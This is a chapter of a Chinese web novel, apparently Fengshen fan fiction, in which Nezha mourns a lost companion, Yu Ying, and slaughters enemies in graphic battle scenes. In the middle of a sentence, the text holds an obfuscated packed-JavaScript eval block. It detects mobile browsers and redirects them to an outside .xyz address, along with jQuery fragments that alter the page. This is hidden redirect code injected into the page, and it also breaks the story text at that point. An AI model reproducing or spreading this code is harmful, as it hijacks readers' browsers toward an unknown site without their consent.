哪吒又梦见她了。
这一次,他站在一片无边的莲池中央。
水面倒映着天光,莲叶层层叠叠,像是铺开的碧色绸缎,远处有白鹤掠过,羽翼划破寂静,荡开一圈圈涟漪。
与应坐在莲池边缘,赤足浸在水中,衣袂垂落,被风轻轻掀起。
她低头望着水面,指尖拨弄着一朵半开的金莲,神情安静得近乎遥远。
哪吒想喊她,可喉咙像是被什么堵住,发不出声音,他想冲过去,可双脚却像是陷在泥沼里,动弹不得。
“与应……”他挣扎着,声音嘶哑得不成调。
她似乎听见了,微微偏头,目光朝他这边投来,却又像是穿透了他,望向更远的地方。
“三太子。”她轻轻开口,声音如清泉击石,却冷得刺骨,“您不该来这里。”
哪吒浑身发冷。
这不是梦里的天庭,不是战场,不是任何他熟悉的地方。
可她的眼神依旧陌生,依旧疏离,仿佛他只是个误入此地的过客。
“与应!”他终于挣开桎梏,踉跄着朝她奔去,水面被他踏碎,溅起的水花打湿了衣摆,“你看看我!是我!哪吒!”
她微微蹙眉,似乎对他的失态感到困惑,却依旧端坐如莲,连指尖都没动一下。
“三太子醉了。”她淡淡道,“小仙送您回去。”
“我没醉!”
他几乎是吼了出来,伸手去抓她的手腕,却在触碰的瞬间,她的身影如烟般散开,又在几步之外重新凝聚。
她依旧坐在那里,连姿势都没变,仿佛刚才的一切只是他的幻觉。
“您该醒了。”她抬眸,琉璃般的眼睛里映出他狼狈的模样,“梦该醒了。”
她的眼神太冷了,冷得让他想起战场上凝结的血,想起深夜里刺骨的寒风,想起那些独自熬过的、没有她的十四年。
“为什么……”他声音发抖,“为什么装作不认识我?”
与应轻轻叹了口气,像是无奈,又像是怜悯。
“执念太深,会入魔的。”
“入魔?”他突然笑了,笑声嘶哑,像是从胸腔里挤出来的,“我早就入魔了!”
他猛地抬手,混天绫将整片莲池搅得天翻地覆,金莲破碎,碧叶纷飞,水面倒映的天空被撕成碎片,两人的倒影被搅碎。
“你答应过会一直陪着我!”他盯着她,眼底猩红一片,“你说过的!”
与应静静地看着他,任由狂风掀起她的衣袂,发丝凌乱地拂过脸颊,那双眸子里依旧空茫无波。
“我已是灵山中人。”她轻声道。
“骗子!”他几乎是从牙缝里挤出这两个字。
她摇了摇头,站起身,衣袍不染纤尘,仿佛这片混乱与她毫无关系。
“梦该醒了。”
她的身影开始变得透明,像是晨雾被阳光驱散,一点点消散在风中。
“不……不!”哪吒冲过去,想要抓住她,可指尖穿过的只有虚无。
“与应!别走!别走——”
他猛地睁开眼。
营帐内一片漆黑,只有帐外篝火的微光透过帘缝漏进来,在地上投下斑驳的影子。
冷汗浸透了里衣,呼吸仍乱得不成调,他缓缓抬手,摸到眼角一片湿凉。
“又是……梦?”
他低喃着,指尖无意识地摩挲着枕边的发带,褪色的红缎上,金线绣的莲花依旧鲜明,像是在嘲笑他的痴妄。
帐外传来守夜士兵的低声交谈,偶尔夹杂着几声笑。
夜风拂过,带来远处战马的响鼻声。
一切都很真实。
可梦里的莲池,梦里的她,却比现实更清晰。
哪吒缓缓攥紧发带,指节因用力而泛白。
“未来见……”他低声重复着,像是诅咒,又像是誓言。
“我一定会找到你。”
·
战鼓擂响,烽烟再起。
哪吒站在阵前,战甲上还残留着昨夜的露水,火尖枪斜指地面。
商军铁骑如黑潮般压来,马蹄踏碎尘土,刀光映着朝阳,刺得人睁不开眼。
“杀——!”
敌军将领的嘶吼声撕破长空,箭雨如蝗,遮天蔽日。
哪吒冷笑,枪尖一挑,混天绫横扫而出,赤红的绸缎绞碎飞箭,断裂的脆响连成一片。
他纵身跃起,枪出如龙,直取敌将咽喉。
“噗嗤——”
鲜血喷溅,染红了他的半边脸颊。
温热的液体顺着下颌滴落,他却连眼都没眨,反手一枪贯穿背后偷袭者的胸膛。
战斗,杀戮,鲜血。这些早已成为他生命的一部分。
可今天不一样。今天,他的每一次挥枪都带着近乎疯狂的执念。
“未来见……”
枪尖刺穿盾牌,扭曲的刺耳声中,他仿佛又看见梦里的莲池,看见她疏离的眼神。
“我会找到你……”
火尖枪横扫,三名敌兵被拦腰斩断,内脏混着血水泼洒一地。
惨叫声中,哪吒踏着尸骸前行,眼底猩红一片。
“元帅说笑了。”
她的声音在耳边回响,轻飘飘的,像是一句无关痛痒的客套。
“小仙当然认得您。”
“闭嘴!”
混天绫猛地炸开,绞碎周围五丈内的所有敌兵,血肉横飞间,他喘着粗气,枪尖深深插入地面。
战场安静了一瞬,商军惊恐后退,西岐将士也怔在原地。
他们的先锋官站在血泊中央,发带不知何时松开了,黑发凌乱地披散在肩头,他低着头,肩膀微微发抖,像是在哭,又像是在笑。
“哪吒……”雷震子皱眉,上前一步。
可下一瞬,哪吒猛地抬头。
那双眼睛里,没有泪,只有燎原的火。
“不够……”他喃喃自语,拔出火尖枪,“还远远不够……”
他要杀到天道都记住他的恨。他要战到时空都为之震颤。
他要活着,活到那个有她的未来。哪怕要踏着尸山血海走去!
“来啊!”他狂笑出声,枪指苍穹,“不是要杀小爷吗?一起上!”
·
哪吒破阵,流血漂橹。
·
“还有谁?”
他的声音不大,却传遍了整个战场,商军阵中无人应答,只有战马不安地嘶鸣。
姜子牙在后方看得分明,哪吒的杀意太重,重到连周军将士都不敢靠近。
那杆火尖枪已经不分敌我,但凡靠近者,皆成枪下亡魂。
“要不要……”
“不必。”姜子牙摇头,“让他杀。”
哪吒站在血泊中,觉得很可笑,他杀了这么多人,可心里那个空洞却越来越大。
与应的影子在他眼前晃动,时而清晰时而模糊。
“你在看吗?”他对着天空喃喃自语,“看到我现在这副模样了吗?”
无人应答。
远处传来号角声,商军开始撤退,哪吒没有追,只是站在原地,任由血水浸透战靴。
杨戬走过来,递给他一块帕子。
“擦擦脸。”
哪吒没接,他低头看着自己的手,指缝里都是凝固的血。
“你说,”他突然开口,“她要是看见我这样,会说什么?”
杨戬沉默片刻,想起那个踏着满地落花为少年擦手的少女,声音温软,很快的安抚了眼神晦暗的少年。
“她会说,脏死了。”
哪吒笑了,笑得肩膀都在发抖。
“是啊,她最见不得这些脏东西了。”
可笑着笑着,声音就哑了。
“我控制不住,杨戬。”他的声音从指缝里漏出来,“我一拿起枪,就想起她说“我会一直陪着你的”。可她现在在哪?在哪?!”
杨戬没有说话,他知道此刻任何言语都是徒劳。
夜幕降临,军营里篝火点点。
哪吒独自坐在河边,将染血的战甲一件件脱下,扔进水里。
血丝在河水中晕开,像一朵朵凋零的花。
他想起初见时,少女指尖点水,那时他还嘲笑她胆小鬼,连水都怕。
此刻清凌凌水面中的倒影映出的,只有他独自一人的身影,再没有那个扯他头发的少女。
那时你在池边枯坐数个日夜时,在想什么呢?是为自己即将到来的天命?还是为他们不能相守的,可笑悲惨的未来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647632|172776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
你那时明明很难过,却还要照顾我的情绪,若是我能早点注意到的话……
“三太子!紧急军情!”
亲兵的喊声打断了他的回忆,哪吒闭了闭眼,再睁开时,又是那个杀伐果决的先锋官。
“说。”
“商军派来了新的将领,说是…说是专门来会会您的。”
哪吒系上新的发带,依然是红色,却不是原来那条。
“好啊。”他提起火尖枪,枪尖在月光下泛着冷光,“正好,我还没杀够。”
这一战,他要把所有痛苦、所有不甘,都化作枪尖的锋芒。
既然天道不仁,那他就杀出一条血路,直到找到她为止。
·
“报!商军先锋已至十里外!”
“来的何人?“
“自称九幽魔将,说是……”传令兵声音发颤,“说是带了份大礼给您。”
营帐外传来骚动,哪吒掀帘而出。
校场中央摆着个檀木箱子,周军将士围成一圈,却无人敢上前。
箱缝里渗出暗红的液体,在泥地上蜿蜒成线。
哪吒闻到了熟悉的气息。他的脚步第一次出现了迟疑。
“打开。”
亲兵战战兢兢地挑开铜锁,箱盖掀开的瞬间,满场寂静。
箱中堆满了樱桃。鲜红的、熟透的樱桃,浸泡在血水里,像无数颗凝固的血珠。
最上面那层樱桃排成一个歪歪扭扭的字:
“应”。
藕荷色的身影浮现,双髻淡青发带的少女坐在箱子上笑着看他,指尖捏着颗红润樱桃,似在嗔怪道:“不是最喜欢我喂的?张嘴呀。”
现在,这些樱桃沾着不知是谁的血,静静躺在箱子里,散发着甜腻的腥气。
“哈……”
哪吒低笑出声,笑声越来越大,最后变成了近乎癫狂的嘶吼。混天绫将整个木箱绞得粉碎,樱桃和木屑四溅。
“他在哪?”
传令兵吓得跪倒在地:“就、就在黑石谷……”
哪吒的身影已经消失在原地,只留下一地血樱。
·
黑石谷中,九幽魔将正在擦拭他的双刃。刀刃上还沾着新鲜的血液,一滴一滴落在石缝里。
“你说,哪吒会喜欢这份礼物吗?”他问身旁的副将,“听说他那位小师妹,最爱吃樱桃了。”
副将刚要回答就瞪大了眼睛。
谷口处,一道身影踏着血雾而来。
火尖枪拖在地上,划出长长的火星,那人每走一步,地上的石子就震颤着跳起来,像是畏惧着什么。
“你……”九幽魔将站起身,双刃交叉在胸前,“来得倒是快。”
哪吒抬起头,漆黑的眸里冰冷一片。
“那些樱桃,”他的声音轻得可怕,”哪来的?”
九幽魔将咧嘴一笑:“你猜?从一个穿白衣的小姑娘那里……”
他的话没能说完。
火尖枪穿透了他的咽喉,将他整个人钉在了山壁上。
哪吒凑近他扭曲的脸,轻声道:“你知道吗?她最讨厌血沾到衣服上了,她会生气的。”
混天绫缠上魔将的四肢,一寸寸收紧,骨骼碎裂的声音在山谷中回荡,伴随着凄厉的惨叫。
当周军赶到时,只看到岩壁上大片大片的血迹,和散落一地的樱桃核。
哪吒站在血泊中央,手里握着半截染血的白色衣袖。
“不是她的。”他喃喃自语,“不是她的……”
将士们不敢靠近。
他们看见三太子的背影在微微发抖,混天绫在地上划出一道道深沟,像是受伤的野兽在发泄怒火。
突然,哪吒抬起头。
他嗅到了熟悉的气息,清冷的,带着莲香的风。
远处山巅,一抹白影一闪而过。
“与应……?”
哪吒纵身跃起,几个起落就追了上去,可山巅空空如也,只有几片莲瓣随风飘落。
他徒劳地抓住那些花瓣,可转眼间,花瓣就在他掌心化作了尘埃。
“你到底在哪……”
他脸上的血落在石头上,发出轻响。
山风呜咽,像是谁的叹息。